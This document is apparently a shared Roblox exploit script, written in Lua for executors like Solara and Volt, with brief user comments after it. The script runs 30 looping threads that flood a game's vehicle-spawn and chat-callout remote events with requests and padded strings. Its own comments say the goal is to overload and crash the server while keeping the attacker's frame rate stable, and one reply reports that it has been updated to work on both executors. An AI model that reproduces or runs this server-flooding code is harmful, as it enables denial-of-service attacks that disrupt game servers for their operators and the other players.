
Key Required

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SpawnRemote = ReplicatedStorage:WaitForChild("SpawnVehicleEvent")
local CalloutRemote = ReplicatedStorage:WaitForChild("ChatCalloutEvent")
-- Fleet focused on high-asset complexity
local Fleet = {
"Storm Warrior",
"TEA 1",
"Hurricane Fighter",
"Storm Reaver (2)",
"Storm Reaver",
"Dominator Fore",
"TIV 1",
"UTAV",
"Armadillo",
"Titus",
"Tornado Wrangler"
}
-- Payload designed to maximize broadcast overhead
local heavyString = string.rep("π₯LAG_TESTπ₯", 50)
print("𧨠Deploying Solara/Volt Optimized Stresser...")
-- We keep the 30 threads you like but optimize the inner firing mechanism
for i = 1, 30 do
task.spawn(function()
-- Localizing the FireServer method for a tiny bit of extra speed
local spawnFire = SpawnRemote.FireServer
local calloutFire = CalloutRemote.FireServer
while true do
for _, car in ipairs(Fleet) do
-- Physics & Asset Load Stress
-- We use pcall to ensure one failed request doesn't stop the thread
pcall(spawnFire, SpawnRemote, car)
-- Network & Broadcast Stress
-- Floods the server buffer with the car name + heavy string
pcall(calloutFire, CalloutRemote, car .. heavyString)
-- The "Solara Sweet Spot": 0.01 provides the best crash-to-kick ratio
task.wait(0.01)
end
end
end)
end
-- Optimization: This keeps your FPS stable while the server struggles
settings().Physics.PhysicsEnvironmentalThrottle = Enum.EnviromentalPhysicsThrottle.Disabled
who even use volt?
@Siloappreciatesyou this guy
@voltex ofc he also uses solara LOL
Does it work on solara?
@Siloappreciatesyou updated to work for both now